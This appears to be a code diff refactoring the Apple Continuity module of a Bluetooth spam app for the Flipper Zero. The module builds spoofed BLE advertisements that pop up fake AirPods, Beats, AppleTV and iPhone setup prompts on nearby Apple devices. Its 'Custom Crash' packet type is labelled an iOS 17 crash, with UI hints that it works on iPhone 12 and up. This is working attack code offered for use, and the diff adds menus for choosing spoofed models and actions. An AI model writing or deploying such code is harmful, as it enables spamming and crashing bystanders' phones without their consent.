|
@@ -1,28 +1,83 @@
|
|
|
#include "continuity.h"
|
|
#include "continuity.h"
|
|
|
-#include "_registry.h"
|
|
|
|
|
|
|
+#include "_protocols.h"
|
|
|
|
|
|
|
|
// Hacked together by @Willy-JL
|
|
// Hacked together by @Willy-JL
|
|
|
// iOS 17 Crash by @ECTO-1A
|
|
// iOS 17 Crash by @ECTO-1A
|
|
|
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
|
|
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
|
|
|
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
|
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
|
|
|
|
|
|
|
-static const char* type_names[ContinuityTypeCount] = {
|
|
|
|
|
|
|
+const struct {
|
|
|
|
|
+ uint16_t value;
|
|
|
|
|
+ const char* name;
|
|
|
|
|
+} pp_models[] = {
|
|
|
|
|
+ {0x0E20, "AirPods Pro"},
|
|
|
|
|
+ {0x0620, "Beats Solo 3"},
|
|
|
|
|
+ {0x0A20, "AirPods Max"},
|
|
|
|
|
+ {0x1020, "Beats Flex"},
|
|
|
|
|
+ {0x0055, "Airtag"},
|
|
|
|
|
+ {0x0030, "Hermes Airtag"},
|
|
|
|
|
+ {0x0220, "AirPods"},
|
|
|
|
|
+ {0x0F20, "AirPods 2nd Gen"},
|
|
|
|
|
+ {0x1320, "AirPods 3rd Gen"},
|
|
|
|
|
+ {0x1420, "AirPods Pro 2nd Gen"},
|
|
|
|
|
+ {0x0320, "Powerbeats 3"},
|
|
|
|
|
+ {0x0B20, "Powerbeats Pro"},
|
|
|
|
|
+ {0x0C20, "Beats Solo Pro"},
|
|
|
|
|
+ {0x1120, "Beats Studio Buds"},
|
|
|
|
|
+ {0x0520, "Beats X"},
|
|
|
|
|
+ {0x0920, "Beats Studio 3"},
|
|
|
|
|
+ {0x1720, "Beats Studio Pro"},
|
|
|
|
|
+ {0x1220, "Beats Fit Pro"},
|
|
|
|
|
+ {0x1620, "Beats Studio Buds+"},
|
|
|
|
|
+};
|
|
|
|
|
+const uint8_t pp_models_count = COUNT_OF(pp_models);
|
|
|
|
|
+
|
|
|
|
|
+const struct {
|
|
|
|
|
+ uint8_t value;
|
|
|
|
|
+ const char* name;
|
|
|
|
|
+} pp_prefixes[] = {
|
|
|
|
|
+ {0x01, "New Device"},
|
|
|
|
|
+ {0x07, "Not Your Device"},
|
|
|
|
|
+ {0x05, "New Airtag"},
|
|
|
|
|
+};
|
|
|
|
|
+const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
|
|
|
|
|
+
|
|
|
|
|
+const struct {
|
|
|
|
|
+ uint8_t value;
|
|
|
|
|
+ const char* name;
|
|
|
|
|
+} na_actions[] = {
|
|
|
|
|
+ {0x13, "AppleTV AutoFill"},
|
|
|
|
|
+ {0x27, "AppleTV Connecting..."},
|
|
|
|
|
+ {0x20, "Join This AppleTV?"},
|
|
|
|
|
+ {0x19, "AppleTV Audio Sync"},
|
|
|
|
|
+ {0x1E, "AppleTV Color Balance"},
|
|
|
|
|
+ {0x09, "Setup New iPhone"},
|
|
|
|
|
+ {0x02, "Transfer Phone Number"},
|
|
|
|
|
+ {0x0B, "HomePod Setup"},
|
|
|
|
|
+ {0x01, "Setup New AppleTV"},
|
|
|
|
|
+ {0x06, "Pair AppleTV"},
|
|
|
|
|
+ {0x0D, "HomeKit AppleTV Setup"},
|
|
|
|
|
+ {0x2B, "AppleID for AppleTV?"},
|
|
|
|
|
+};
|
|
|
|
|
+const uint8_t na_actions_count = COUNT_OF(na_actions);
|
|
|
|
|
+
|
|
|
|
|
+static const char* type_names[ContinuityTypeCOUNT] = {
|
|
|
[ContinuityTypeAirDrop] = "AirDrop",
|
|
[ContinuityTypeAirDrop] = "AirDrop",
|
|
|
- [ContinuityTypeProximityPair] = "Proximity Pair",
|
|
|
|
|
|
|
+ [ContinuityTypeProximityPair] = "Continuity Pair",
|
|
|
[ContinuityTypeAirplayTarget] = "Airplay Target",
|
|
[ContinuityTypeAirplayTarget] = "Airplay Target",
|
|
|
[ContinuityTypeHandoff] = "Handoff",
|
|
[ContinuityTypeHandoff] = "Handoff",
|
|
|
[ContinuityTypeTetheringSource] = "Tethering Source",
|
|
[ContinuityTypeTetheringSource] = "Tethering Source",
|
|
|
- [ContinuityTypeNearbyAction] = "Nearby Action",
|
|
|
|
|
|
|
+ [ContinuityTypeNearbyAction] = "Continuity Action",
|
|
|
[ContinuityTypeNearbyInfo] = "Nearby Info",
|
|
[ContinuityTypeNearbyInfo] = "Nearby Info",
|
|
|
- [ContinuityTypeCustomCrash] = "Custom Packet",
|
|
|
|
|
|
|
+ [ContinuityTypeCustomCrash] = "Continuity Custom",
|
|
|
};
|
|
};
|
|
|
-const char* continuity_get_name(const BleSpamMsg* _msg) {
|
|
|
|
|
- const ContinuityMsg* msg = &_msg->continuity;
|
|
|
|
|
- return type_names[msg->type];
|
|
|
|
|
|
|
+static const char* continuity_get_name(const ProtocolCfg* _cfg) {
|
|
|
|
|
+ const ContinuityCfg* cfg = &_cfg->continuity;
|
|
|
|
|
+ return type_names[cfg->type];
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
|
|
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
|
|
|
-static uint8_t packet_sizes[ContinuityTypeCount] = {
|
|
|
|
|
|
|
+static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
|
|
|
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
|
|
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
|
|
|
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
|
|
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
|
|
|
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
|
|
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
|
|
@@ -32,13 +87,12 @@ static uint8_t packet_sizes[ContinuityTypeCount] = {
|
|
|
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
|
|
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
|
|
|
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
|
|
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
|
|
|
};
|
|
};
|
|
|
-
|
|
|
|
|
-void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
|
|
|
|
|
- const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
|
|
|
|
|
|
|
+static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
|
|
|
|
|
+ const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL;
|
|
|
|
|
|
|
|
ContinuityType type;
|
|
ContinuityType type;
|
|
|
- if(msg) {
|
|
|
|
|
- type = msg->type;
|
|
|
|
|
|
|
+ if(cfg) {
|
|
|
|
|
+ type = cfg->type;
|
|
|
} else {
|
|
} else {
|
|
|
const ContinuityType types[] = {
|
|
const ContinuityType types[] = {
|
|
|
ContinuityTypeProximityPair,
|
|
ContinuityTypeProximityPair,
|
|
@@ -85,36 +139,15 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
|
|
|
|
|
|
|
|
case ContinuityTypeProximityPair: {
|
|
case ContinuityTypeProximityPair: {
|
|
|
uint16_t model;
|
|
uint16_t model;
|
|
|
- if(msg && msg->data.proximity_pair.model != 0x0000) {
|
|
|
|
|
- model = msg->data.proximity_pair.model;
|
|
|
|
|
|
|
+ if(cfg && cfg->data.proximity_pair.model != 0x0000) {
|
|
|
|
|
+ model = cfg->data.proximity_pair.model;
|
|
|
} else {
|
|
} else {
|
|
|
- const uint16_t models[] = {
|
|
|
|
|
- 0x0E20, // AirPods Pro
|
|
|
|
|
- 0x0620, // Beats Solo 3
|
|
|
|
|
- 0x0A20, // AirPods Max
|
|
|
|
|
- 0x1020, // Beats Flex
|
|
|
|
|
- 0x0055, // Airtag
|
|
|
|
|
- 0x0030, // Hermes Airtag
|
|
|
|
|
- 0x0220, // AirPods
|
|
|
|
|
- 0x0F20, // AirPods 2nd Gen
|
|
|
|
|
- 0x1320, // AirPods 3rd Gen
|
|
|
|
|
- 0x1420, // AirPods Pro 2nd Gen
|
|
|
|
|
- 0x0320, // Powerbeats 3
|
|
|
|
|
- 0x0B20, // Powerbeats Pro
|
|
|
|
|
- 0x0C20, // Beats Solo Pro
|
|
|
|
|
- 0x1120, // Beats Studio Buds
|
|
|
|
|
- 0x0520, // Beats X
|
|
|
|
|
- 0x0920, // Beats Studio 3
|
|
|
|
|
- 0x1720, // Beats Studio Pro
|
|
|
|
|
- 0x1220, // Beats Fit Pro
|
|
|
|
|
- 0x1620, // Beats Studio Buds+
|
|
|
|
|
- };
|
|
|
|
|
- model = models[rand() % COUNT_OF(models)];
|
|
|
|
|
|
|
+ model = pp_models[rand() % pp_models_count].value;
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
uint8_t prefix;
|
|
uint8_t prefix;
|
|
|
- if(msg && msg->data.proximity_pair.prefix == 0x00) {
|
|
|
|
|
- prefix = msg->data.proximity_pair.prefix;
|
|
|
|
|
|
|
+ if(cfg && cfg->data.proximity_pair.prefix == 0x00) {
|
|
|
|
|
+ prefix = cfg->data.proximity_pair.prefix;
|
|
|
} else {
|
|
} else {
|
|
|
if(model == 0x0055 || model == 0x0030)
|
|
if(model == 0x0055 || model == 0x0030)
|
|
|
prefix = 0x05;
|
|
prefix = 0x05;
|
|
@@ -176,37 +209,23 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
|
|
|
|
|
|
|
|
case ContinuityTypeNearbyAction: {
|
|
case ContinuityTypeNearbyAction: {
|
|
|
uint8_t action;
|
|
uint8_t action;
|
|
|
- if(msg && msg->data.nearby_action.type != 0x00) {
|
|
|
|
|
- action = msg->data.nearby_action.type;
|
|
|
|
|
|
|
+ if(cfg && cfg->data.nearby_action.action != 0x00) {
|
|
|
|
|
+ action = cfg->data.nearby_action.action;
|
|
|
} else {
|
|
} else {
|
|
|
- const uint8_t actions[] = {
|
|
|
|
|
- 0x13, // AppleTV AutoFill
|
|
|
|
|
- 0x27, // AppleTV Connecting...
|
|
|
|
|
- 0x20, // Join This AppleTV?
|
|
|
|
|
- 0x19, // AppleTV Audio Sync
|
|
|
|
|
- 0x1E, // AppleTV Color Balance
|
|
|
|
|
- 0x09, // Setup New iPhone
|
|
|
|
|
- 0x02, // Transfer Phone Number
|
|
|
|
|
- 0x0B, // HomePod Setup
|
|
|
|
|
- 0x01, // Setup New AppleTV
|
|
|
|
|
- 0x06, // Pair AppleTV
|
|
|
|
|
- 0x0D, // HomeKit AppleTV Setup
|
|
|
|
|
- 0x2B, // AppleID for AppleTV?
|
|
|
|
|
- };
|
|
|
|
|
- action = actions[rand() % COUNT_OF(actions)];
|
|
|
|
|
|
|
+ action = na_actions[rand() % na_actions_count].value;
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
- uint8_t flag;
|
|
|
|
|
- if(msg && msg->data.nearby_action.flags != 0x00) {
|
|
|
|
|
- flag = msg->data.nearby_action.flags;
|
|
|
|
|
|
|
+ uint8_t flags;
|
|
|
|
|
+ if(cfg && cfg->data.nearby_action.flags != 0x00) {
|
|
|
|
|
+ flags = cfg->data.nearby_action.flags;
|
|
|
} else {
|
|
} else {
|
|
|
- flag = 0xC0;
|
|
|
|
|
- if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
|
|
|
|
- if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
|
|
|
|
|
|
+ flags = 0xC0;
|
|
|
|
|
+ if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
|
|
|
|
|
+ if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
- packet[i++] = flag; // Action Flags
|
|
|
|
|
- packet[i++] = action; // Action Type
|
|
|
|
|
|
|
+ packet[i++] = flags;
|
|
|
|
|
+ packet[i++] = action;
|
|
|
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
|
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
|
|
i += 3;
|
|
i += 3;
|
|
|
break;
|
|
break;
|
|
@@ -224,31 +243,16 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
|
|
|
case ContinuityTypeCustomCrash: {
|
|
case ContinuityTypeCustomCrash: {
|
|
|
// Found by @ECTO-1A
|
|
// Found by @ECTO-1A
|
|
|
|
|
|
|
|
- const uint8_t actions[] = {
|
|
|
|
|
- 0x13, // AppleTV AutoFill
|
|
|
|
|
- 0x27, // AppleTV Connecting...
|
|
|
|
|
- 0x20, // Join This AppleTV?
|
|
|
|
|
- 0x19, // AppleTV Audio Sync
|
|
|
|
|
- 0x1E, // AppleTV Color Balance
|
|
|
|
|
- 0x09, // Setup New iPhone
|
|
|
|
|
- 0x02, // Transfer Phone Number
|
|
|
|
|
- 0x0B, // HomePod Setup
|
|
|
|
|
- 0x01, // Setup New AppleTV
|
|
|
|
|
- 0x06, // Pair AppleTV
|
|
|
|
|
- 0x0D, // HomeKit AppleTV Setup
|
|
|
|
|
- 0x2B, // AppleID for AppleTV?
|
|
|
|
|
- };
|
|
|
|
|
- uint8_t action = actions[rand() % COUNT_OF(actions)];
|
|
|
|
|
-
|
|
|
|
|
- uint8_t flag = 0xC0;
|
|
|
|
|
- if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
|
|
|
|
- if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
|
|
|
|
|
|
+ uint8_t action = na_actions[rand() % na_actions_count].value;
|
|
|
|
|
+ uint8_t flags = 0xC0;
|
|
|
|
|
+ if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
|
|
|
|
|
+ if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
|
|
|
|
|
|
|
|
i -= 2; // Override segment header
|
|
i -= 2; // Override segment header
|
|
|
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
|
|
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
|
|
|
packet[i++] = 0x05; // Continuity Size
|
|
packet[i++] = 0x05; // Continuity Size
|
|
|
- packet[i++] = flag; // Action Flags
|
|
|
|
|
- packet[i++] = action; // Action Type
|
|
|
|
|
|
|
+ packet[i++] = flags;
|
|
|
|
|
+ packet[i++] = action;
|
|
|
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
|
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
|
|
i += 3;
|
|
i += 3;
|
|
|
|
|
|
|
@@ -265,12 +269,538 @@ void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSp
|
|
|
break;
|
|
break;
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
- *out_size = size;
|
|
|
|
|
- *out_packet = packet;
|
|
|
|
|
|
|
+ *_size = size;
|
|
|
|
|
+ *_packet = packet;
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
-const BleSpamProtocol ble_spam_protocol_continuity = {
|
|
|
|
|
|
|
+enum {
|
|
|
|
|
+ _ConfigPpExtraStart = ConfigExtraStart,
|
|
|
|
|
+ ConfigPpModel,
|
|
|
|
|
+ ConfigPpPrefix,
|
|
|
|
|
+ ConfigPpCOUNT,
|
|
|
|
|
+};
|
|
|
|
|
+enum {
|
|
|
|
|
+ _ConfigNaExtraStart = ConfigExtraStart,
|
|
|
|
|
+ ConfigNaAction,
|
|
|
|
|
+ ConfigNaFlags,
|
|
|
|
|
+ ConfigNaCOUNT,
|
|
|
|
|
+};
|
|
|
|
|
+enum {
|
|
|
|
|
+ _ConfigCcExtraStart = ConfigExtraStart,
|
|
|
|
|
+ ConfigCcInfoLock,
|
|
|
|
|
+ ConfigCcInfoDevice,
|
|
|
|
|
+ ConfigCcCOUNT,
|
|
|
|
|
+};
|
|
|
|
|
+static void config_callback(void* _ctx, uint32_t index) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
|
|
|
|
|
+ switch(cfg->type) {
|
|
|
|
|
+ case ContinuityTypeProximityPair: {
|
|
|
|
|
+ switch(index) {
|
|
|
|
|
+ case ConfigPpModel:
|
|
|
|
|
+ scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
|
|
|
|
|
+ break;
|
|
|
|
|
+ case ConfigPpPrefix:
|
|
|
|
|
+ scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
|
|
|
|
|
+ break;
|
|
|
|
|
+ default:
|
|
|
|
|
+ ctx->fallback_config_enter(ctx, index);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ case ContinuityTypeNearbyAction: {
|
|
|
|
|
+ switch(index) {
|
|
|
|
|
+ case ConfigNaAction:
|
|
|
|
|
+ scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
|
|
|
|
|
+ break;
|
|
|
|
|
+ case ConfigNaFlags:
|
|
|
|
|
+ scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
|
|
|
|
|
+ break;
|
|
|
|
|
+ default:
|
|
|
|
|
+ ctx->fallback_config_enter(ctx, index);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ case ContinuityTypeCustomCrash: {
|
|
|
|
|
+ switch(index) {
|
|
|
|
|
+ case ConfigCcInfoLock:
|
|
|
|
|
+ case ConfigCcInfoDevice:
|
|
|
|
|
+ break;
|
|
|
|
|
+ default:
|
|
|
|
|
+ ctx->fallback_config_enter(ctx, index);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ default:
|
|
|
|
|
+ ctx->fallback_config_enter(ctx, index);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+}
|
|
|
|
|
+static void pp_model_changed(VariableItem* item) {
|
|
|
|
|
+ ContinuityCfg* cfg = variable_item_get_context(item);
|
|
|
|
|
+ uint8_t index = variable_item_get_current_value_index(item);
|
|
|
|
|
+ if(index) {
|
|
|
|
|
+ index--;
|
|
|
|
|
+ cfg->data.proximity_pair.model = pp_models[index].value;
|
|
|
|
|
+ variable_item_set_current_value_text(item, pp_models[index].name);
|
|
|
|
|
+ } else {
|
|
|
|
|
+ cfg->data.proximity_pair.model = 0x0000;
|
|
|
|
|
+ variable_item_set_current_value_text(item, "Random");
|
|
|
|
|
+ }
|
|
|
|
|
+}
|
|
|
|
|
+static void pp_prefix_changed(VariableItem* item) {
|
|
|
|
|
+ ContinuityCfg* cfg = variable_item_get_context(item);
|
|
|
|
|
+ uint8_t index = variable_item_get_current_value_index(item);
|
|
|
|
|
+ if(index) {
|
|
|
|
|
+ index--;
|
|
|
|
|
+ cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
|
|
|
|
|
+ variable_item_set_current_value_text(item, pp_prefixes[index].name);
|
|
|
|
|
+ } else {
|
|
|
|
|
+ cfg->data.proximity_pair.prefix = 0x00;
|
|
|
|
|
+ variable_item_set_current_value_text(item, "Auto");
|
|
|
|
|
+ }
|
|
|
|
|
+}
|
|
|
|
|
+static void na_action_changed(VariableItem* item) {
|
|
|
|
|
+ ContinuityCfg* cfg = variable_item_get_context(item);
|
|
|
|
|
+ uint8_t index = variable_item_get_current_value_index(item);
|
|
|
|
|
+ if(index) {
|
|
|
|
|
+ index--;
|
|
|
|
|
+ cfg->data.nearby_action.action = na_actions[index].value;
|
|
|
|
|
+ variable_item_set_current_value_text(item, na_actions[index].name);
|
|
|
|
|
+ } else {
|
|
|
|
|
+ cfg->data.nearby_action.action = 0x00;
|
|
|
|
|
+ variable_item_set_current_value_text(item, "Random");
|
|
|
|
|
+ }
|
|
|
|
|
+}
|
|
|
|
|
+static void continuity_extra_config(Ctx* ctx) {
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ VariableItemList* list = ctx->variable_item_list;
|
|
|
|
|
+ VariableItem* item;
|
|
|
|
|
+ size_t value_index;
|
|
|
|
|
+
|
|
|
|
|
+ switch(cfg->type) {
|
|
|
|
|
+ case ContinuityTypeProximityPair: {
|
|
|
|
|
+ item =
|
|
|
|
|
+ variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg);
|
|
|
|
|
+ const char* model_name = NULL;
|
|
|
|
|
+ char model_name_buf[5];
|
|
|
|
|
+ if(cfg->data.proximity_pair.model == 0x0000) {
|
|
|
|
|
+ model_name = "Random";
|
|
|
|
|
+ value_index = 0;
|
|
|
|
|
+ } else {
|
|
|
|
|
+ for(uint8_t i = 0; i < pp_models_count; i++) {
|
|
|
|
|
+ if(cfg->data.proximity_pair.model == pp_models[i].value) {
|
|
|
|
|
+ model_name = pp_models[i].name;
|
|
|
|
|
+ value_index = i + 1;
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ if(!model_name) {
|
|
|
|
|
+ snprintf(
|
|
|
|
|
+ model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
|
|
|
|
|
+ model_name = model_name_buf;
|
|
|
|
|
+ value_index = pp_models_count + 1;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ variable_item_set_current_value_index(item, value_index);
|
|
|
|
|
+ variable_item_set_current_value_text(item, model_name);
|
|
|
|
|
+
|
|
|
|
|
+ item =
|
|
|
|
|
+ variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg);
|
|
|
|
|
+ const char* prefix_name = NULL;
|
|
|
|
|
+ char prefix_name_buf[3];
|
|
|
|
|
+ if(cfg->data.proximity_pair.prefix == 0x00) {
|
|
|
|
|
+ prefix_name = "Auto";
|
|
|
|
|
+ value_index = 0;
|
|
|
|
|
+ } else {
|
|
|
|
|
+ for(uint8_t i = 0; i < pp_prefixes_count; i++) {
|
|
|
|
|
+ if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
|
|
|
|
|
+ prefix_name = pp_prefixes[i].name;
|
|
|
|
|
+ value_index = i + 1;
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ if(!prefix_name) {
|
|
|
|
|
+ snprintf(
|
|
|
|
|
+ prefix_name_buf,
|
|
|
|
|
+ sizeof(prefix_name_buf),
|
|
|
|
|
+ "%02X",
|
|
|
|
|
+ cfg->data.proximity_pair.prefix);
|
|
|
|
|
+ prefix_name = prefix_name_buf;
|
|
|
|
|
+ value_index = pp_prefixes_count + 1;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ variable_item_set_current_value_index(item, value_index);
|
|
|
|
|
+ variable_item_set_current_value_text(item, prefix_name);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ case ContinuityTypeNearbyAction: {
|
|
|
|
|
+ item = variable_item_list_add(
|
|
|
|
|
+ list, "Action Type", na_actions_count + 1, na_action_changed, cfg);
|
|
|
|
|
+ const char* action_name = NULL;
|
|
|
|
|
+ char action_name_buf[3];
|
|
|
|
|
+ if(cfg->data.nearby_action.action == 0x00) {
|
|
|
|
|
+ action_name = "Random";
|
|
|
|
|
+ value_index = 0;
|
|
|
|
|
+ } else {
|
|
|
|
|
+ for(uint8_t i = 0; i < na_actions_count; i++) {
|
|
|
|
|
+ if(cfg->data.nearby_action.action == na_actions[i].value) {
|
|
|
|
|
+ action_name = na_actions[i].name;
|
|
|
|
|
+ value_index = i + 1;
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ if(!action_name) {
|
|
|
|
|
+ snprintf(
|
|
|
|
|
+ action_name_buf,
|
|
|
|
|
+ sizeof(action_name_buf),
|
|
|
|
|
+ "%02X",
|
|
|
|
|
+ cfg->data.nearby_action.action);
|
|
|
|
|
+ action_name = action_name_buf;
|
|
|
|
|
+ value_index = na_actions_count + 1;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ variable_item_set_current_value_index(item, value_index);
|
|
|
|
|
+ variable_item_set_current_value_text(item, action_name);
|
|
|
|
|
+
|
|
|
|
|
+ item = variable_item_list_add(list, "Flags", 0, NULL, NULL);
|
|
|
|
|
+ const char* flags_name = NULL;
|
|
|
|
|
+ char flags_name_buf[3];
|
|
|
|
|
+ if(cfg->data.nearby_action.flags == 0x00) {
|
|
|
|
|
+ flags_name = "Auto";
|
|
|
|
|
+ } else {
|
|
|
|
|
+ snprintf(
|
|
|
|
|
+ flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags);
|
|
|
|
|
+ flags_name = flags_name_buf;
|
|
|
|
|
+ }
|
|
|
|
|
+ variable_item_set_current_value_text(item, flags_name);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ case ContinuityTypeCustomCrash: {
|
|
|
|
|
+ variable_item_list_add(list, "Lock+unlock helps to crash", 0, NULL, NULL);
|
|
|
|
|
+ variable_item_list_add(list, "Works on iPhone 12 and up", 0, NULL, NULL);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+ default:
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+
|
|
|
|
|
+ variable_item_list_set_enter_callback(list, config_callback, ctx);
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+static uint8_t config_counts[ContinuityTypeCOUNT] = {
|
|
|
|
|
+ [ContinuityTypeAirDrop] = 0,
|
|
|
|
|
+ [ContinuityTypeProximityPair] = ConfigPpCOUNT - ConfigExtraStart - 1,
|
|
|
|
|
+ [ContinuityTypeAirplayTarget] = 0,
|
|
|
|
|
+ [ContinuityTypeHandoff] = 0,
|
|
|
|
|
+ [ContinuityTypeTetheringSource] = 0,
|
|
|
|
|
+ [ContinuityTypeNearbyAction] = ConfigNaCOUNT - ConfigExtraStart - 1,
|
|
|
|
|
+ [ContinuityTypeNearbyInfo] = 0,
|
|
|
|
|
+ [ContinuityTypeCustomCrash] = ConfigCcCOUNT - ConfigExtraStart - 1,
|
|
|
|
|
+};
|
|
|
|
|
+static uint8_t continuity_config_count(const ProtocolCfg* _cfg) {
|
|
|
|
|
+ const ContinuityCfg* cfg = &_cfg->continuity;
|
|
|
|
|
+ return config_counts[cfg->type];
|
|
|
|
|
+}
|
|
|
|
|
+
|
|
|
|
|
+const Protocol protocol_continuity = {
|
|
|
.icon = &I_apple,
|
|
.icon = &I_apple,
|
|
|
.get_name = continuity_get_name,
|
|
.get_name = continuity_get_name,
|
|
|
.make_packet = continuity_make_packet,
|
|
.make_packet = continuity_make_packet,
|
|
|
|
|
+ .extra_config = continuity_extra_config,
|
|
|
|
|
+ .config_count = continuity_config_count,
|
|
|
};
|
|
};
|
|
|
|
|
+
|
|
|
|
|
+static void pp_model_callback(void* _ctx, uint32_t index) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ switch(index) {
|
|
|
|
|
+ case 0:
|
|
|
|
|
+ cfg->data.proximity_pair.model = 0x0000;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+ break;
|
|
|
|
|
+ case pp_models_count + 1:
|
|
|
|
|
+ scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom);
|
|
|
|
|
+ break;
|
|
|
|
|
+ default:
|
|
|
|
|
+ cfg->data.proximity_pair.model = pp_models[index - 1].value;
|
|
|
|
|
+ scene_manager_previous_scene(ctx->scene_manager);
|
|
|
|
|
+ break;
|
|
|
|
|
+ }
|
|
|
|
|
+}
|
|
|
|
|
+void scene_continuity_pp_model_on_enter(void* _ctx) {
|
|
|
|
|
+ Ctx* ctx = _ctx;
|
|
|
|
|
+ ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
|
|
|
|
|
+ Submenu* submenu = ctx->submenu;
|
|
|
|
|
+ uint32_t selected = 0;
|
|
|
|
|
+ bool found = false;
|
|
|
|
|
+ submenu_reset(submenu);
|
|
|
|
|
+
|
|
|
|
|
+ submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx);
|
|
|
|
|
+ if(cfg->data.proximity_pair.model == 0x0000) {
|
|
|
|
|
+ found = true;
|
|
|
|
|
+ selected = 0;
|
|
|
|
|
+ }
|
|
|
|
|
+ for(uint8_t i = 0; i < pp_models_count; i++) {
|
|
|
|
|
+ submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx);
|
|
|
|
|
+ if(!found && cfg->data.proximity_pair.model == pp_models[i].value) {
|
|
|
|
|
+ found = true;
|
|
|
|
|
+ selected = i + 1;
|
|
|
|
|
+ }
|
|
|
|
|
+ }
|
|
|
|
|
+ submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx);
|
|
|
|
|
+ if(!found) {
|
|
|
|
|
+ found = true;
|
|
|
|
|
